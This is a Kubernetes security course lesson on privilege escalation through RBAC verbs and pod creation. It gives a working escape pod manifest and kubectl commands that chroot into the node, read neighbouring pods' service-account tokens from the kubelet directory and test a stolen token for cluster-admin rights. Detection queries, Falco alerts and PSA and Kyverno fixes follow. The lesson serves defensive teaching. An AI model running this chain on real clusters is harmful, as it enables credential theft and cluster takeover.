CoursesKubernetes attack & defensePrivilege escalation paths

Privilege escalation paths

escalate, bind, impersonate, and the pod path.

Expert35 min · lesson 6 of 15

Nobody hands out cluster-admin. It gets taken, quietly, by an identity that was only ever trusted with a little. That's the whole game of privilege escalation: turning a narrow, reasonable-looking grant into total control of the cluster, one legal step at a time. No exploit, no CVE (a numbered software vulnerability). Just permissions doing exactly what someone configured them to do.

Think of the cluster as an office tower. Your keycard opens floor 3, the namespace your team works in. The executive floor, full control over every workload, secret, and worker machine, stays locked. Escalation is finding the service elevator: an unmarked door nobody watches that happens to reach the top. Kubernetes ships with a few of these elevators. Two matter most.

The first is a small set of RBAC verbs (RBAC = Role-Based Access Control, the system that decides which identity is allowed to do what). The second is plain permission to create pods, which on most clusters is a skeleton key to the physical machines underneath. We'll walk both, and close both.

The three verbs that are cluster-admin in disguise

Kubernetes normally refuses to let you grant a permission you don't already hold. It's a sensible guard: you can't give away what you were never given. Three verbs punch holes in it. escalate lets you write a Role more powerful than your own. bind lets you attach an existing role, cluster-admin included, to any identity, without ever holding escalate. impersonate lets you send a single request as somebody else and borrow their access for that call. Hold any one of the three and the executive floor is reachable, so the defender's job is simple to state: find who has them.

find-escalation-verbs.sh
$ kubectl get clusterroles -o json | jq -r '
.items[]
| select(any(.rules[]?.verbs[]?;
. == "escalate" or . == "bind" or . == "impersonate"))
| .metadata.name'
system:controller:clusterrole-aggregation-controller
custom:ci-deployer

The aggregation controller legitimately holds escalate. That custom ci-deployer has no honest reason to. Anything on that list that isn't a core controller deserves a second look, and a workload service account holding one is an incident. (Roles with a wildcard verb, verbs: ["*"], won't match this query but hold them too, so audit for * separately.) Those three verbs get the fear, but you rarely need them. On a default cluster, permission to create a single pod reaches further than all three.

create pods: the skeleton key to the nodes

Every pod runs on a node, a Linux machine the cluster manages for you. Three settings on a pod turn that machine from someone else's property into yours. privileged drops the container's safety rails and gives it near-root over the host. hostPID puts your process into the node's process list, right next to everything else running there. hostPath mounts a path from the node's real disk straight into your pod. Each is a button on the service elevator. Ask for all three and the API server, doing its job faithfully, says yes.

Here's a pod that asks for the whole node. It reads like an innocent debug container. It mounts the node's root filesystem at /host.

node-escape.yaml
apiVersion: v1
kind: Pod
metadata:
name: innocent-debug
namespace: dev
spec:
hostPID: true
containers:
- name: shell
image: alpine:3.20
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /

Apply it, exec in, and chroot into the mounted disk. chroot swaps your view of the filesystem to the node's real one, so from that shell you're root on the machine itself, not inside a container.

break-to-node.sh
$ kubectl apply -f node-escape.yaml
pod/innocent-debug created
$ kubectl exec -it innocent-debug -n dev -- chroot /host id
uid=0(root) gid=0(root) groups=0(root)
$ kubectl exec innocent-debug -n dev -- chroot /host cat /etc/hostname
ip-10-0-3-14.ec2.internal
# every co-located pod's service-account token sits on the node's disk
$ kubectl exec innocent-debug -n dev -- \
chroot /host sh -c 'ls /var/lib/kubelet/pods/*/volumes/kubernetes.io~projected/*/token'
/var/lib/kubelet/pods/8f2c.../volumes/kubernetes.io~projected/kube-api-access-x9k2p/token
/var/lib/kubelet/pods/a41d.../volumes/kubernetes.io~projected/kube-api-access-mn4rt/token
$ T=$(kubectl exec innocent-debug -n dev -- \
chroot /host cat /var/lib/kubelet/pods/a41d.../volumes/kubernetes.io~projected/kube-api-access-mn4rt/token)
$ kubectl --token="$T" auth can-i create clusterrolebindings
yes

That last line is the whole point. The kubelet (the agent on every node that starts and stops pods) keeps each running pod's service-account token on local disk, under /var/lib/kubelet/pods. Your neighbors on this node might include a CI runner, an operator, an ingress controller, any of which may carry a token far stronger than yours. Read one off the disk and you stop escalating from floor 3. You're on the executive floor wearing a borrowed badge, and a single clusterrolebinding with that token makes it permanent.

Blocking privileged: true is not enough
The instinct is to write one rule: deny any pod with privileged: true. It feels done. It isn't. A hostPath mount of /var/lib/kubelet hands you every neighbor's token without privileged ever being set. hostPID plus a shared process, or capabilities: [SYS_ADMIN] on its own, each reach the node too. Block the one shape you remember and you leave three doors open. The restricted profile forbids the whole family at once, which is why it beats a hand-rolled deny list every time.
From one namespace to the whole cluster
1Footholdcreate-pods in a single…2Craft the podprivileged + hostPID +…3Break to the nodekubectl exec, chroot /host,…4Harvest tokensread neighbors' SA tokens in…5Cluster-adminstolen token binds itself,…
Each hop is a legal Kubernetes operation; admission control is what removes the second hop.

Catch it: at the door and on the node

You get two clean chances to see this. The first is at the door: the API server's audit log records every create with the full object attached, so a pod asking for privileged, hostPID, or hostPath stands out in one query. The second is on the node: a runtime sensor like Falco (it watches Linux syscalls on each machine) fires the moment a shell chroots the host disk or reads the kubelet's token store.

audit-detect.sh
$ jq -c 'select(.verb=="create" and .objectRef.resource=="pods")
| select(.requestObject.spec.hostPID == true
or any(.requestObject.spec.containers[]?; .securityContext.privileged == true)
or any(.requestObject.spec.volumes[]?; has("hostPath")))
| {user:.user.username, ns:.objectRef.namespace, pod:.requestObject.metadata.name}' \
/var/log/kubernetes/audit.log
{"user":"system:serviceaccount:dev:frontend","ns":"dev","pod":"innocent-debug"}
falco-runtime.sh
$ kubectl logs -n falco -l app.kubernetes.io/name=falco --tail=2
09:41:22.481: Warning Privileged container started (user=root command=sleep infinity
k8s.pod=innocent-debug k8s.ns=dev image=alpine:3.20) rule=Launch Privileged Container
09:41:39.002: Warning Sensitive file opened for reading by non-trusted program
(user=root program=cat file=/host/var/lib/kubelet/pods/a41d.../token
k8s.pod=innocent-debug) rule=Read sensitive file untrusted

Close it: restricted plus a policy

Detection tells you it happened. Admission control makes sure it can't. PSA (Pod Security Admission, a check built into the API server that grades every pod against a named profile) at the restricted level rejects the entire dangerous family with a single namespace label. Layer a policy engine like Kyverno (a controller driven by CRDs, where a CRD, Custom Resource Definition, is how you teach Kubernetes a new kind of object) on top for the rules PSA doesn't cover and for an auditable paper trail.

psa-fix.sh
$ kubectl label ns dev \
pod-security.kubernetes.io/enforce=restricted \
pod-security.kubernetes.io/enforce-version=v1.32 --overwrite
namespace/dev labeled
$ kubectl apply -f node-escape.yaml
Error from server (Forbidden): error when creating "node-escape.yaml": pods "innocent-debug"
is forbidden: violates PodSecurity "restricted:v1.32": host namespaces (hostPID=true),
privileged (container "shell" must not set securityContext.privileged=true),
allowPrivilegeEscalation != false (container "shell" must set securityContext.allowPrivilegeEscalation=false),
unrestricted capabilities (container "shell" must set securityContext.capabilities.drop=["ALL"]),
restricted volume types (volume "host" uses restricted volume type "hostPath"),
runAsNonRoot != true (pod or container "shell" must set securityContext.runAsNonRoot=true),
seccompProfile (pod or container "shell" must set securityContext.seccompProfile.type to "RuntimeDefault" or "Localhost")
disallow-host-path.yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: disallow-host-path
spec:
rules:
- name: no-host-path
match:
any:
- resources:
kinds: [Pod]
validate:
failureAction: Enforce
message: "hostPath volumes are not allowed."
pattern:
spec:
=(volumes):
- X(hostPath): "null"
---
# applying the escape pod now fails at Kyverno even before PSA:
# $ kubectl apply -f node-escape.yaml
# Error from server: admission webhook "validate.kyverno.svc-fail" denied the request:
# resource Pod/dev/innocent-debug was blocked due to the following policies
# disallow-host-path:
# no-host-path: 'validation error: hostPath volumes are not allowed.
# rule no-host-path failed at path /spec/volumes/0/hostPath/'
Quick check
01You label the dev namespace pod-security.kubernetes.io/enforce=restricted, then kubectl apply a Deployment whose pod template is privileged. The apply returns 'deployment.apps/x created' with only a warning, no error. Did restricted fail?
Correct — Classic PSA gotcha: apply looks successful, but kubectl get pods is empty and kubectl describe rs shows FailedCreate with the restricted violation.
Incorrect — warn and enforce are independent labels. The warning here is PSA evaluating the Deployment's template as a courtesy; enforce still applies to the real pods.
Incorrect — restricted forbids privileged, hostPID, hostPath, added capabilities, and more. Kyverno is defense in depth here, not a gap-filler.
Incorrect — The Deployment object exists but no compliant pod does; the ReplicaSet is stuck failing to create pods.
02Kubernetes normally refuses to let a subject grant a permission it doesn't already hold. How does the bind verb reach cluster-admin without the subject ever holding escalate?
Incorrect — They are distinct verbs; escalate writes a more-powerful Role, while bind attaches an existing one.
Correct — bind sidesteps the escalation-prevention check by reusing a role that already exists instead of writing new powers.
Incorrect — A RoleBinding can reference cluster-admin and a ClusterRoleBinding binds it cluster-wide, which is exactly what makes bind dangerous.
Incorrect — That is the impersonate verb; bind attaches roles through bindings instead.
03A service account holds only create on pods in the dev namespace — no Secrets access and none of escalate, bind, or impersonate. On a default cluster, how can this single permission still lead to cluster-admin?
Incorrect — create on pods is a node-compromise primitive; the lesson calls it a skeleton key to the machines underneath.
Incorrect — Once you own the node you can read co-located pods' tokens from any namespace, so the blast radius isn't namespace-bounded.
Incorrect — No escalation verb is required; this path runs through the node, not through rewriting RBAC.
Correct — create on pods lets you mount the host and harvest a stronger co-located token, turning one namespace permission into cluster-admin.

PSA and Kyverno both do their work inside the admission chain, the gauntlet every object runs before Kubernetes agrees to store it. The order those checks fire in, and the ways a badly built webhook can be skipped, timed out, or talked into waving your pod through, is where we go next.

Try this

Work through “Close it: restricted plus a policy” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: blocking privileged: true is not enough. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related